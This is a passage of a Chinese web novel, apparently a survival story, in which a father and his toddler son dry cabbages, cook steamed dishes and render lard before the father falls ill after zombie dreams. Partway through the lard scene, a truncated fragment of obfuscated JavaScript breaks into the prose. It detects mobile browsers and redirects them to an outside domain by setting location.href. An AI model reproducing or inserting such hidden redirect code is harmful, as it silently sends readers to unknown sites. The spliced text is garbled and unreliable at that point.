下一秒,林小饱张大嘴巴,红红的嗓子眼都露出来了! “爸爸,火!我喝火了!” 林小饱放下碗,辣得满屋子乱跑。 像一只被踩了尾巴的小狗,汪汪乱窜。 “我喝了一团火,火还在我的嘴里烧!水!要用水来灭火!” 最后,还是林早叹了口气,放下碗,上前拉住林小饱,捏着他的鼻子,往他嘴里灌了一口温水。 “慢慢喝。在嘴巴里晃一下。” “咕噜咕噜——” “好点了吗?”林早问,“要不要再喝一口?” “爸爸……”林小饱倒在他怀里,有气无力地说,“真的好辣。” “你要变成辣条啦?” “我都要变成‘辣崽’了啦。” 林早喝了一碗姜汤,出了点汗,感觉好些了。 傅骋带回来的一大堆东西还等着整理,林早稍微休息了一会儿,就振作起来,带着林小饱开始干活。 土豆洋葱这些好保存的蔬菜,不用怎么处理。 装在麻袋里,堆在墙角,要吃的时候拿几个出来就行。 就是土豆爱发芽,最好放在避光干燥的地方。 这一点,傅骋在扛土豆上楼的时候,就考虑到了,所以他把土豆堆在了客厅墙角。 大白菜也好放。不过还是要简单处理一下。 “嘿咻!嘿咻!” 林小饱围着小围裙,套着小袖套,踮起脚,咬着牙,把一颗大白菜,从麻袋里抱出来。 这一颗大白菜,和他的小脑袋差不多大。 林小饱抱着白菜,摇摇摆摆地往前走,来到窗边,最后把白菜放在窗前,阳光照得到的地上。 “嘿咻!好了!” “真厉害。”林早朝他竖起大拇指,“小饱是大力士。” “那当然!”林小饱双手叉腰,“不过……” 他好奇地问:“爸爸,为什么要把大白菜放在太阳底下晒呢?” 林早解释道:“白菜晒一晒,把表面两片菜叶的水分晒干,可以保护里面的叶子,白菜就能保存得更久了。我和大爸爸小的时候,经常帮家里晒白菜。” “嗯……”林小饱歪着脑袋,似懂非懂地点点头。 “继续加油,把白菜都搬出来晒一晒。” “好!” 林小饱跑回去,又抱起一颗大大的白菜。 林早拽着装白菜的麻袋,拖了两下,发现没能拖动,只好和林小饱一起用抱的。 其实最好的晒白菜的地方,是在顶楼。 但是现在情况特殊,万一去顶楼晒,被其他人看见,暴露了他们家有这么多食物,容易引来不必要的麻烦。 所以林早选择在家里向阳的窗户边晒。 今天的天气还算不错。 晒白菜不用太大的阳光,也不用太长的时间。 注意翻面,让白菜的每一面都能晒到,把表面的叶子晒成缺水柔韧的状态,就可以了。 父子二人进进出出,来来回回。 忙活了差不多半个小时,把两麻袋白菜全部搬到窗边,排列整齐,好像军训。 林早站在原地,望着他们家的白菜江山,拍了拍手,擦擦脸上的汗。 林小饱搬来两张小板凳,把其中一把放在爸爸身后:“爸爸,请坐。” “好。”林早回头,“谢谢小饱。” “那我们现在要干什么呢?” “休息一下。”林早坐下,“顺便给白菜翻个面。” “包在我身上!” 父子二人分别捧着一大一小两个保温杯,坐在一大堆白菜前。 林早喝姜汤,林小饱喝温水,两个人和白菜一起,惬意地晒着太阳。 “爸爸。” 忽然,林小饱喊了他一声。 “嗯?”林早转过头,“怎么了?” “我们有两个人。” “什么?”林早不懂,“对啊,你和爸爸是两个人呀。” 林早想了想,明白过来,放下杯子,张开双手,放在面前。 “噢,我们是两只猫,两只看白菜的小猫,喵喵喵!对吗?” “不对,我的意思是——”林小饱低下头,小声说,“大爸爸只有一个人。” 林早顿了一下,脸上笑意也淡了下去。 “我们两个人搬白菜,都这么累。大爸爸要把这么多白菜搬回来,肯定更累。” “是呀。”林早抿了抿唇角,“所以……” 他握住林小饱的小手:“我们不能浪费大爸爸的劳动,我们要把白菜保存好,爸爸要把白菜做成好吃的菜,我们要把白菜吃光光,把它们变成我们身上的肉肉和体内的能量!” “有道理。”林小饱从小板凳上跳起来,高高举起小手,“爸爸放心,大爸爸放心,我会使劲吃的!” 13. 第 13 章 13 中午十一点。 太阳慢慢升向天空正中。 从窗外照进来的最后一点阳光,也就没有了。 林小饱蹲在地上,交替摆动两条腿,穿梭在白菜地里——摆满白菜的瓷砖地。 像一只小鸭子。 “嘿咻!嘿咻!” 林小饱在每一颗白菜前面,停下脚步,张开小手,扑上前去。 他把大白菜抱起来,在怀里转了个圈,又放回地上。 临走时,他甚至轻轻拍了拍白菜的菜帮子,像哄小孩一样。 “乖噢。等我和爸爸,还有大爸爸来吃你们。” 说完这句话,林小饱就挪动双脚,继续往前走,寻找下一颗幸运白菜。 爸爸说,虽然窗户旁边晒不到太阳了,但是也不用把白菜收起来。 白菜堆起来容易发热坏掉,摆在外面,吹吹风、透透气,反倒更好。 而且明天还要继续晒,放在这里,就不用搬来搬去的了。 所以,爸爸(生活技能lv99),向新手玩家林小饱(lv1),发布一项重要任务—— 在午饭之前,帮助所有白菜完成翻面。 林小饱果断接下任务,认真执行中。 ——Loading(游戏加载中)! 新手玩家林小饱,在白菜地里,埋头苦干。 老手玩家林早,就在厨房里,准备一家三口的午饭。 林早还病着,没什么精神,不想再做红烧肉那样费时费力的大菜,就准备做两道蒸菜。 一道蒸蛋,一道蒸排骨。 鸡蛋是傅骋直接去养鸡场买的,用纸质托盘、鸡窝稻草和透明胶带缠了好几层,包得严严实实的。 林早拿出来的时候,竟然一个都没坏。 敲开蛋壳,蛋清透亮,蛋黄圆润,是很漂亮的橘黄色。 林早往盆子里敲了五个蛋,加盐打散。 外面的饭店,总是把蒸蛋做得光滑Q弹,像布丁一样。 但是他们一家口味独特,就爱吃膨胀蓬松、全是气孔的蜂窝蒸蛋。 做起来更省事,不用过筛,不用撇浮沫,也不用盖保鲜膜,只要把蛋液和水一比一混合搅匀,冷水上锅蒸就好。 蒸多久也无所谓,老了反倒更好吃。 放好蒸蛋,林早又开始处理排骨。 排骨也是傅骋带回来的,而且之前就剁好了。 傅骋知道林早力气小,怕他手疼,特意把排骨剁成小块,方便他做。 十点多的时候,林早就把排骨拿出来,泡在水里。 将近一个小时,泡出血水,祛除腥味,把排骨捞出来,擦干净表面水分,加蒜末、盐和耗油腌一腌,入个底味,也放到锅上去蒸。 弄到一半,林早觉得排骨有点多,就分出一小部分,砍了根玉米,准备炖一个排骨玉米汤。 一口大蒸锅,最底下是半锅冷水,第一层是汤,第二层是排骨,第三层是蛋羹。 也算是另类的“一锅出”了,很方便。 四十分钟后—— 林小饱完成任务,光荣归来。 林早往蒸好的蛋羹上,淋了半勺香油和生抽,午饭也做好了。 父子二人先给楼下的傅骋送了一份,回到餐桌前,也开始吃午饭。 林早握着勺子,挖起一勺蛋羹,放进林小饱的小饭盆里:“够了吗?” 林小饱坐在宝宝椅上,两只小拳头握紧,用力摇头:“不够!” “再来一勺。” “还不够!我今天可辛苦了,我要吃——”林小饱张开双手,“一大盆!” “好,再给你一勺。” “不……” 这一回,林早抢先道:“够啦,再多就装不下啦。还有排骨呢,吃完了再加。” “那好吧。”林小饱勉为其难,点了点头。 林早把饭盆放在他面前的小桌板上。 林小饱一手扶盆,一手握勺,把蒸蛋和米饭搅拌在一起,拌得碎碎的、散散的。 舀起一勺,送进嘴里。 “嗯——” 林小饱一边吃,一边学电视上的大厨吃菜,闭上眼睛,摇头晃脑,细细回味。 “爸爸大厨,你做的饭还不错。” 林早怀疑地看着他,故意问:“只是还不错吗?” 林小饱傻笑两下,举起小手:“是‘很不错’!很好吃!” * 吃完午饭,简单收拾一下厨房。 林早就带着林小饱,回房间午睡去了。 没办法,待在家里就是这样,不是吃,就是睡。 父子二人也没睡太久,简单休息一下,就爬起来,继续整理物资。 林小饱抱着自己的《生菜成长日记》,蹲在一大箱生菜前面,涂涂画画。 林早则打开冰柜,简单看了一下傅骋带回来的猪肉。 傅骋特别爱囤货,冬天买年货,夏天买冰棍,一买就是一大堆。 别人家买一斤火锅丸子,随吃随煮,他要去批发市场买几大袋。 别人家买十来根冰棍,冻在冰箱里,热的时候吃一根,他也要买几大箱。 主打一个老婆儿子爱吃就买,什么时候想吃,马上就能拿出来,绝不误事。 要是老婆儿子吃不完,也没关系,他来消灭。 他们家的冰箱总是满满当当的,塞到要爆炸。 所以傅骋又买了一个大冰柜,用来放他的囤货。 这回也一样,傅骋去外面买肉,直接去屠宰场,买了半扇猪回来。 怕林早不会处理,他还特意把肉都分好了。 除了最常见的五花、肋排。 猪头、猪脸、猪耳朵。 猪蹄、猪肘、猪心肝。 应有尽有。 林早把每个袋子都打开看了一眼,在心里盘算着,按照做法排好顺序。 猪头和猪心可以卤着吃,猪蹄可以炖黄豆吃,猪肝就一半炒着吃,一半煮汤喝。 但有几块不是特别好的肉,林早看着,叹了口气,有点发愁。 白花花、肥腻腻的,实在是不知道该怎么做。 他不爱吃肥肉,总觉得有点恶心。 小饱随他,也不爱吃。 要不然…… 林早眼睛一亮,打定主意,把几块肥肉拎出来,放在旁边。 熬猪油! 过年要炸肉炸鱼,傅骋买了桶装花生油,但是也不多,就两桶 省着点用,应该能用七八个月。 不过,要是能多熬点油,当然更好。 早上起来,煮点面条,挖一勺猪肉,再加点紫菜、虾米和油葱,做一碗葱油拌面,方便又好吃。 猪油渣炸得脆脆的,撒上孜然粉和辣椒面,也能当零食吃。 说干就干。 林早摘下围裙,套在身上,反手系好。 把肉洗干净,擦干水分,丢在案板上,切成小块。 肉有点多,光是切肉就切了一个小时。 切得林早腰酸背疼,头晕眼花。 好不容易切好了,林早就把家里最大的那口铁锅搬出来,架在炉子上,开火烧水。 他们家很少熬猪油,林早也是小的时候,住在舅舅家里,看舅妈熬过,帮忙打过几次下手。 林早一边回想,一边操作。 猪肉加葱姜焯水去腥,撇去浮沫,清洗干净,再加小半碗水,重新回锅,慢慢熬煮。 把水熬干,再出来的就是油了。 林早握着铲子,站在灶台前,轻轻搅动,防止糊锅。 对会做饭的人来说,一点都不难。 就是要一直守在锅边,站得有点累,手臂也酸了。 林早抬起手,捶了捶酸痛的肩膀和腰背。 就在这时,林小饱跑到他身后,踮起脚,举起小手,同样捶了一下他的腰。 “爸爸!” “嗯?”林早回过头,“你画完今天的生菜啦?” “嗯,画完了。”林小饱点点头,“我还给饮料瓶里的生菜换了水,我很小心的,没有碰到生菜根。” “哇,这么厉害啊?” “那当然了!” 这句话是林小饱的口头禅。 他每次说,都是挺起小肚肚、自信满满的样子。 “就是箱子里的生菜太多了,我搬不动,就没有换。” “没关系。”林早笑得温柔,“等一下爸爸和你一起。” “爸爸,你不是说生菜会喝水吗?我都没看出来。” “你可以把昨天画的画,和今天的生菜放在一起作比较呀。” “我放在一起了,可是还是看不出来。” “嗯……”林早想了想,“那你可以把水位线画上去。” “谁?把谁画上去?” “水位线。”林早温声解释,“就是矿泉水瓶里的水到什么位置,你可以画上去。如果明天水变少了,就说明生菜趁你不在的时候,偷偷喝水了。” “对噢。”林小饱恍然大悟,“爸爸,你真聪明!” 林早笑出声来。 “不过……”林小饱顿了顿,“就算水变少了,也有可能不是生菜喝的。” “你不喝,爸爸也不喝。那还有谁?” “还有大爸爸啊!”林小饱双手叉腰,振振有词。 “你的意思是——” 林早一边搅动猪油,用漏网把猪油渣捞出来,一边说。 “我的死鬼老公、你的坏蛋大爸爸,会在晚上偷偷打开门,偷偷从房间里跑出来,偷偷跑到楼上,拿起我们养生菜的饮料瓶,咕嘟咕嘟咕嘟?” “对呀。”林小饱一脸自信,“不过大爸爸喝水是‘吨吨吨’的。” 林早笑得更大声了。 林小饱站在旁边,陪着爸爸。 站了一会儿,他有点累,就往前一扑,想抱住爸爸的腿,挂在爸爸身上。 林早连忙把他扶好:“危险!爸爸在熬猪油,不能歪来歪去的。” “好。”林小饱乖乖站好,深吸一口气,“好香啊,香喷喷。” “是吗?”林早捏了捏口罩,“爸爸闻着有点腻,还担心熬坏了呢。” “不会呀,刚刚好。” “看来是爸爸的问题。” 大概是因为他站在旁边闻久了,还有点感冒,总觉得有点反胃。 最后一锅猪油在熬,林早用筷子夹起一块晾得差不多的猪油渣,蘸了点孜然粉,送到林小饱面前。 “试一下。” 林小饱也不挑食,张开嘴巴,“嗷呜”一口就吃了。 猪油渣被炸得又干又脆,一丁点肥油都没有。 一口下去,咔嚓咔嚓,在林小饱的嘴里掉渣。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15920626|177063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >林小饱眼睛一亮,又嚼了好几下,越嚼越香。 “好好吃!咸咸的、香香的,像薯片一样,但是比薯片厚。爸爸,我还想吃!” “吃多了容易上火。再吃两片,就不许再吃了。” “好。” 林小饱站在旁边,张大嘴巴,等待爸爸投喂:“啊——” 像一只嗷嗷待哺的小鸟崽。 他慢慢嚼着,很珍惜地吃完了说好的两片猪油渣,也不闹着还要吃,就乖乖地陪着爸爸。 几大块猪肉,最后熬出两盆猪油、一盆猪油渣。 林早用保鲜膜把猪油封好,盖上盖子,最后放进冰箱。 放进去之前,林早还特意给林小饱看了一眼。 “等明天再来看,猪油就会变成白白嫩嫩的样子,像果冻一样。” “真的吗?” “对呀。”林早顺手捏了一把林小饱的小脸蛋,“要是你的脸裂开了,还可以给你擦脸。” “唔——”林小饱连忙捂住脸,摇头拒绝,“不要不要!烤肉、烤鸡和烤小猪才要擦油,我不是小猪,我不要擦油。” “好吧。不擦猪油,爸爸给你擦香香。” 林早把东西放好,自己没忍住,也偷吃了一块猪油渣。 实在是太香了。 吃一口没事的。 区区感冒,不会因为一块猪油渣就加重。 但是他会因为没吃到新鲜出炉的猪油渣,而难过的。 不知不觉间,太阳就下山了,天也黑了。 一家三口的晚饭也很简单。 中午的蒸排骨和玉米汤,剩得还挺多。 林早就煮了点米饭,又炒了把小青菜。 就这样吃。 吃完晚饭,林早靠在餐椅上,歇了一会儿,就带着林小饱去洗澡。 林小饱才三岁,还不会自己洗澡,只会拿着毛巾,随便抹两下,跟抹桌子没什么两样。 再加上现在是冬天,天气冷,怕他自己洗会感冒,林早就帮他洗了。 父子二人一前一后洗完澡,穿着睡衣,爬到床上,钻进被窝里。 林早伸手关灯:“小饱,爸爸有点感冒,就不和你面对着面睡觉了。你自己也要小心一点,不要离爸爸太近。” “好。” 吊灯熄灭,房间黑了下来。 林早背对着林小饱,拽了拽被子,闭上眼睛,就准备睡觉。 林小饱躺在爸爸身后,在黑暗里看着爸爸的身影,悄悄伸出手指,戳戳他的后背。 “爸爸……” “嗯?”林早闷闷地应了一声。 “晚安。” “晚安……” 话音刚落,林早就睡着了。 听着爸爸匀长的、有一点儿塞塞的呼吸声,林小饱张开小手,凑上前去,从身后抱住爸爸。 爸爸好辛苦,又要做饭,又要种菜,还要带他。 他才不管爸爸有没有生病,他是一张贴贴纸,他就要把自己贴在爸爸背后! 月光明亮,微风吹拂。 墙上的时钟滴答滴答地走着。 应和着父子二人的呼吸声,渐渐同步。 林早裹着被子,额头上出了点汗,睡得也昏昏沉沉的。 他做着梦,一个个光怪陆离的梦。 ——梦见傅骋变成了丧尸,追着他咬。 他当然跑不过傅骋,很快就被他追上,按在地上。 傅骋对着他的脖子,“吭哧”就是一口。 鲜血四溅,痛得他眼泪都掉下来了。 ——又梦见林小饱也变成了丧尸,也追着他咬。 他腿长,林小饱腿短,他肯定是跑得过林小饱的。 可是林小饱没追上他,跑着跑着,就倒在地上,说自己要饿死了。 林早犹豫再三,只好调头回去,伸手给林小饱咬一口。 ——还梦见自己也变成了丧尸,追着傅骋和林小饱咬。 傅骋和林小饱倒是没跑,不知道为什么,他们两个直接争起来了。 跟大狗和小狗打架一样,扭打在一起,咬对方耳朵,咬对方的尾巴,汪汪汪地叫成一团。 “小枣,咬我!我皮糙肉厚,我不怕!来,随便咬,就当是吃自助餐。一定要吃饱,不用心疼我!” “爸爸,咬我。大爸爸的皮太厚了,会塞住你的牙齿,我的肉嫩嫩的,比较好吃。不过你要轻一点噢,我有点怕疼。” “小枣,别犹豫。随便吃,尽管吃,张大嘴巴吃,敞开肚皮吃。” “爸爸,别担心。我的肉肉很多的,我昨天吃了很多排骨。” “小坏蛋,你敢跟我抢?” “大爸爸,要让爸爸自己选。” ——“啊!不吃不吃!我一口都不吃!” 天光大亮。 林早挣扎着,挥舞着双手双脚,从床上弹起来。 “你们两个吵死了!走开走开!我又不是食人魔,我才不吃……” 林早回过神来,抬头环顾四周,看见窗外正盛的阳光。 下一秒,阳光晃了一下他的眼睛,一阵眩晕袭来。 他整个人前后左右,摇摇晃晃,最后往后一倒,栽回床上。 完了…… 林早混混沌沌的脑子里,只剩下这个念头。 完蛋了,这下是真的生病了。 都怪那块猪油渣!